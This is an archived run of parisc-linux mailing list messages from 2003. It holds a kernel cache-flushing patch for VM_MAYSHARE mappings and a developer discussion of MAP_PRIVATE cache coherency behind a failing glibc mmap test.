NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:34 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 10:25:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB768483E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 10:25:53 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h7NGPqI32277
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 12:25:52 -0400
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19310

--=-PE2Uwl0LkbJxW+65VgYL
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

The attached should do it

(plus the fix to preserve the VM_MAYSHARE flag on remap).

I've verified that this fixes the glibc tst-mmap-eofsync test.

James


--=-PE2Uwl0LkbJxW+65VgYL
Content-Disposition: inline; filename=tmp.diff
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; name=tmp.diff; charset=ISO-8859-1

=3D=3D=3D=3D=3D arch/parisc/kernel/cache.c 1.4 vs edited =3D=3D=3D=3D=3D
--- 1.4/arch/parisc/kernel/cache.c	Sat Mar  8 14:01:30 2003
+++ edited/arch/parisc/kernel/cache.c	Sat Aug 23 11:22:22 2003
@@ -232,7 +232,8 @@
=20
 	if (!page->mapping)
 		return;
-
+	/* check shared list first if it's not empty...it's usually
+	 * the shortest */
 	list_for_each(l, &page->mapping->i_mmap_shared) {
 		struct vm_area_struct *mpnt;
 		unsigned long off;
@@ -243,6 +244,33 @@
 		 * If this VMA is not in our MM, we can ignore it.
 		 */
 		if (mpnt->vm_mm !=3D mm)
+			continue;
+
+		if (page->index < mpnt->vm_pgoff)
+			continue;
+
+		off =3D page->index - mpnt->vm_pgoff;
+		if (off >=3D (mpnt->vm_end - mpnt->vm_start) >> PAGE_SHIFT)
+			continue;
+
+		flush_cache_page(mpnt, mpnt->vm_start + (off << PAGE_SHIFT));
+
+		/* All user shared mappings should be equivalently mapped,
+		 * so once we've flushed one we should be ok
+		 */
+		return;
+	}
+
+	/* then check private mapping list for read only shared mappings
+	 * which are flagged by VM_MAYSHARE */
+	list_for_each(l, &page->mapping->i_mmap) {
+		struct vm_area_struct *mpnt;
+		unsigned long off;
+
+		mpnt =3D list_entry(l, struct vm_area_struct, shared);
+
+
+		if (mpnt->vm_mm !=3D mm || !(mpnt->vm_flags & VM_MAYSHARE))
 			continue;
=20
 		if (page->index < mpnt->vm_pgoff)

--=-PE2Uwl0LkbJxW+65VgYL--



From - Thu Nov 08 21:28:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Sat, 23 Aug 2003 13:28:34 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20030823192834.GC5072@dsl2.external.hp.com>
References: <3F2E2C7700004A24@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622715 29980 80.91.229.3 (22 Nov 2014 02:18:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:35 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 13:28:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 0BD9E487B; Sat, 23 Aug 2003 13:28:34 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F2E2C7700004A24@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19311

On Sat, Aug 23, 2003 at 04:54:26PM +0100, Joel Soete wrote:
> With the patch kernel I also want to launch 3 run test but with -e300 (Just
> have a N obviously UP 550Mhz?).

Pick whatever parameters are reasonable.
The -e100 to -e500 worked well on a dual 1Ghz rx2600 with 3 or 4 GB of RAM.
You might try -e50 -> -e250 in steps of 50....at least until the VM
address aliasing is fixed and you can run 8-way on the N-class.

> The first two run seems to work fine when during the last run I get a lot
> of messages "Child caught raw signal ?" and so I could not grab (cut and
> past) the first results :( .
> 
> I now relaunch test for only two runs and so hope the results for next week,
> sorry.

np - thanks.

grant


From - Thu Nov 08 21:28:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
 tst-mmap-eofsync in glibc on parisc)
Date: Sat, 23 Aug 2003 14:43:30 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20030823144330.5ddab065.davem__28024.9565643773$1416622715$gmane$org@redhat.com>
References: <20030822110144.5f7b83c5.davem@redhat.com>
	<Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain>
	<20030822113106.0503a665.davem@redhat.com>
	<1061578568.2053.313.camel@mulgrave>
	<20030822121955.619a14eb.davem@redhat.com>
	<1061591255.1784.636.camel@mulgrave>
	<20030822154100.06314c8e.davem@redhat.com>
	<1061600974.2090.809.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622715 29986 80.91.229.3 (22 Nov 2014 02:18:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:35 +0000 (UTC)
Cc: hugh@veritas.com, willy@debian.org, linux-kernel@vger.kernel.org,
	parisc-linux@lists.parisc-linux.org, drepper@redhat.com
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 15:51:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18E1E4832
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 15:51:14 -0600 (MDT)
Original-Received: from pizda.ninka.net (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with SMTP id OAA05347;
	Sat, 23 Aug 2003 14:43:30 -0700
In-Reply-To: <1061600974.2090.809.camel@mulgrave>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19312

On 22 Aug 2003 20:09:30 -0500
James Bottomley <James.Bottomley@SteelEye.com> wrote:

> What we were hoping is that we could rely on this little property of
> mmap:
> 
>        MAP_PRIVATE
>                   Create a private copy-on-write mapping.  Stores
>                   to the region do not affect the original  file.
>                   It  is  unspecified whether changes made to the
>                   file after the mmap call  are  visible  in  the
>                   mapped region.
> 
> To avoid having to flush the non-shared mappings (basically on parisc if
> you write to a file backing a MAP_PRIVATE mapping then we don't
> guarantee you see the update).
> 
> I suppose if we had a way of telling if any of the i_mmap list members
> were really MAP_SHARED semantics mappings, then we could alter our
> flush_dcache_page() implementation to work.

I thought about this very deeply last night and this morning.
And what you're trying to optimize won't work.  Here is why.

If the first access to a MAP_PRIVATE mapping of a page is a read,
we'll use the page-cache page.  This means that, with your
optimization, during this time if another cpu write()`s into the
page we'll lose the data update.

Sorry :(


From - Thu Nov 08 21:28:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
 tst-mmap-eofsync in glibc on parisc)
Date: Sat, 23 Aug 2003 14:44:36 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20030823144436.63cf118f.davem__16511.4888259724$1416622715$gmane$org@redhat.com>
References: <1061600974.2090.809.camel@mulgrave>
	<Pine.LNX.4.44.0308230820020.3590-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622715 29992 80.91.229.3 (22 Nov 2014 02:18:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:35 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com, willy@debian.org,
	linux-kernel@vger.kernel.org, parisc-linux@lists.parisc-linux.org,
	drepper@redhat.com
To: Hugh Dickins <hugh@veritas.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 15:52:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0FF94899
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 15:52:18 -0600 (MDT)
Original-Received: from pizda.ninka.net (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with SMTP id OAA05356;
	Sat, 23 Aug 2003 14:44:36 -0700
In-Reply-To: <Pine.LNX.4.44.0308230820020.3590-100000@localhost.localdomain>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19313

On Sat, 23 Aug 2003 08:22:19 +0100 (BST)
Hugh Dickins <hugh@veritas.com> wrote:

> On 22 Aug 2003, James Bottomley wrote:
> > 
> > I suppose if we had a way of telling if any of the i_mmap list members
> > were really MAP_SHARED semantics mappings, then we could alter our
> > flush_dcache_page() implementation to work.
> 
> Good idea.  It's VM_MAYSHARE you need to check for.

Nope, please see my other email for why all of these ideas
simply will not work.  If the first fault-in of a MAP_PRIVATE
page is a read, it's just like a MAP_SHARED read-only page until
the first write occurs.


From - Thu Nov 08 21:28:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
	tst-mmap-eofsync in glibc on parisc)
Date: 23 Aug 2003 17:21:21 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <1061677283.1992.471.camel__5466.22946062616$1416622716$gmane$org@mulgrave>
References: <20030822110144.5f7b83c5.davem@redhat.com>
	<Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain>
	<20030822113106.0503a665.davem@redhat.com>
	<1061578568.2053.313.camel@mulgrave>
	<20030822121955.619a14eb.davem@redhat.com>
	<1061591255.1784.636.camel@mulgrave>
	<20030822154100.06314c8e.davem@redhat.com>
	<1061600974.2090.809.camel@mulgrave> 
	<20030823144330.5ddab065.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622716 29997 80.91.229.3 (22 Nov 2014 02:18:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:36 +0000 (UTC)
Cc: hugh@veritas.com, willy@debian.org,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>, drepper@redhat.com
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 16:21:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 632D94893
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 16:21:33 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h7NMLMI14049;
	Sat, 23 Aug 2003 18:21:22 -0400
In-Reply-To: <20030823144330.5ddab065.davem@redhat.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19314

On Sat, 2003-08-23 at 16:43, David S. Miller wrote:
> On 22 Aug 2003 20:09:30 -0500
> James Bottomley <James.Bottomley@SteelEye.com> wrote:
> 
> > What we were hoping is that we could rely on this little property of
> > mmap:
> > 
> >        MAP_PRIVATE
> >                   Create a private copy-on-write mapping.  Stores
> >                   to the region do not affect the original  file.
> >                   It  is  unspecified whether changes made to the
> >                   file after the mmap call  are  visible  in  the
> >                   mapped region.
> > 
> > To avoid having to flush the non-shared mappings (basically on parisc if
> > you write to a file backing a MAP_PRIVATE mapping then we don't
> > guarantee you see the update).
> > 
> > I suppose if we had a way of telling if any of the i_mmap list members
> > were really MAP_SHARED semantics mappings, then we could alter our
> > flush_dcache_page() implementation to work.
> 
> I thought about this very deeply last night and this morning.
> And what you're trying to optimize won't work.  Here is why.
> 
> If the first access to a MAP_PRIVATE mapping of a page is a read,
> we'll use the page-cache page.  This means that, with your
> optimization, during this time if another cpu write()`s into the
> page we'll lose the data update.
> 
> Sorry :(

Could you elaborate some more?  I agree that the MAP_PRIVATE mapping may
not see cpu1's write because of cache incoherencies (but that's what I
believe is covered by the `unspecified' bit of the MAP_PRIVATE
definition above).  MAP_PRIVATE is COW (i.e. the page is marked read
only while it's shared), so there can be no data to flush in the cache
for the page of the MAP_PRIVATE process...The only scenario I see where
we can get cache based data destruction is if two cache aliases both
contain dirty caches for the page (which can only happen for MAP_SHARED
RW, which we already have the correct semantics for...they're racing to
do a msync and the last one in wins).

James




From - Thu Nov 08 21:28:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
 tst-mmap-eofsync in glibc on parisc)
Date: Sat, 23 Aug 2003 15:51:27 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20030823155127.3cd7b013.davem__19716.2721692168$1416622716$gmane$org@redhat.com>
References: <20030822110144.5f7b83c5.davem@redhat.com>
	<Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain>
	<20030822113106.0503a665.davem@redhat.com>
	<1061578568.2053.313.camel@mulgrave>
	<20030822121955.619a14eb.davem@redhat.com>
	<1061591255.1784.636.camel@mulgrave>
	<20030822154100.06314c8e.davem@redhat.com>
	<1061600974.2090.809.camel@mulgrave>
	<20030823144330.5ddab065.davem@redhat.com>
	<1061677283.1992.471.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622716 30003 80.91.229.3 (22 Nov 2014 02:18:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:36 +0000 (UTC)
Cc: hugh@veritas.com, willy@debian.org, linux-kernel@vger.kernel.org,
	parisc-linux@lists.parisc-linux.org, drepper@redhat.com
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 16:59:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 861B44894
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 16:59:11 -0600 (MDT)
Original-Received: from pizda.ninka.net (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with SMTP id PAA05460;
	Sat, 23 Aug 2003 15:51:27 -0700
In-Reply-To: <1061677283.1992.471.camel@mulgrave>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19315

On 23 Aug 2003 17:21:21 -0500
James Bottomley <James.Bottomley@SteelEye.com> wrote:

> On Sat, 2003-08-23 at 16:43, David S. Miller wrote:
> > On 22 Aug 2003 20:09:30 -0500
> > James Bottomley <James.Bottomley@SteelEye.com> wrote:
> > 
> > >        MAP_PRIVATE
> > >                   Create a private copy-on-write mapping.  Stores
> > >                   to the region do not affect the original  file.
> > >                   It  is  unspecified whether changes made to the
> > >                   file after the mmap call  are  visible  in  the
> > >                   mapped region.
...
> Could you elaborate some more?  I agree that the MAP_PRIVATE mapping may
> not see cpu1's write because of cache incoherencies (but that's what I
> believe is covered by the `unspecified' bit of the MAP_PRIVATE
> definition above).

Ok.  Let me think about this a bit more.

The safest solution for parisc, meanwhile, would be to walk the
non-shared mmap list checking for any instance of the VM_MAYSHARE bit
being set.


From - Thu Nov 08 21:28:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
 tst-mmap-eofsync in glibc on parisc)
Date: Sat, 23 Aug 2003 15:53:12 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20030823155312.63f996f6.davem__29629.8031615608$1416622716$gmane$org@redhat.com>
References: <20030822110144.5f7b83c5.davem@redhat.com>
	<Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain>
	<20030822113106.0503a665.davem@redhat.com>
	<1061578568.2053.313.camel@mulgrave>
	<20030822121955.619a14eb.davem@redhat.com>
	<1061591255.1784.636.camel@mulgrave>
	<20030822154100.06314c8e.davem@redhat.com>
	<1061600974.2090.809.camel@mulgrave>
	<20030823144330.5ddab065.davem@redhat.com>
	<1061677283.1992.471.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622716 30011 80.91.229.3 (22 Nov 2014 02:18:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:36 +0000 (UTC)
Cc: hugh@veritas.com, willy@debian.org, linux-kernel@vger.kernel.org,
	parisc-linux@lists.parisc-linux.org, drepper@redhat.com
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 17:00:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98037492F
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 17:00:56 -0600 (MDT)
Original-Received: from pizda.ninka.net (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with SMTP id PAA05469;
	Sat, 23 Aug 2003 15:53:12 -0700
In-Reply-To: <1061677283.1992.471.camel@mulgrave>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19316

On 23 Aug 2003 17:21:21 -0500
James Bottomley <James.Bottomley@SteelEye.com> wrote:

> On Sat, 2003-08-23 at 16:43, David S. Miller wrote:
> > On 22 Aug 2003 20:09:30 -0500
> > James Bottomley <James.Bottomley@SteelEye.com> wrote:
> > 
> > > To avoid having to flush the non-shared mappings (basically on parisc if
> > > you write to a file backing a MAP_PRIVATE mapping then we don't
> > > guarantee you see the update).

BTW, what gains to you really get from this optimization?

How often do writes happen to files while private mappings
to it exist? :-)  This is one of the reasons I think this
discussion is a bit silly.

What specific cases does your optimization help, and how common is it?
Show us some numbers.



From - Thu Nov 08 21:28:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
	tst-mmap-eofsync in glibc on parisc)
Date: 23 Aug 2003 18:01:00 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <1061679662.1785.514.camel__2.99361204287862$1416622717$gmane$org@mulgrave>
References: <20030822110144.5f7b83c5.davem@redhat.com>
	<Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain>
	<20030822113106.0503a665.davem@redhat.com>
	<1061578568.2053.313.camel@mulgrave>
	<20030822121955.619a14eb.davem@redhat.com>
	<1061591255.1784.636.camel@mulgrave>
	<20030822154100.06314c8e.davem@redhat.com>
	<1061600974.2090.809.camel@mulgrave>
	<20030823144330.5ddab065.davem@redhat.com>
	<1061677283.1992.471.camel@mulgrave> 
	<20030823155127.3cd7b013.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622717 30014 80.91.229.3 (22 Nov 2014 02:18:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:37 +0000 (UTC)
Cc: hugh@veritas.com, willy@debian.org,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>, drepper@redhat.com
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 17:01:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B67C492F
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 17:01:12 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h7NN11I15624;
	Sat, 23 Aug 2003 19:01:01 -0400
In-Reply-To: <20030823155127.3cd7b013.davem@redhat.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
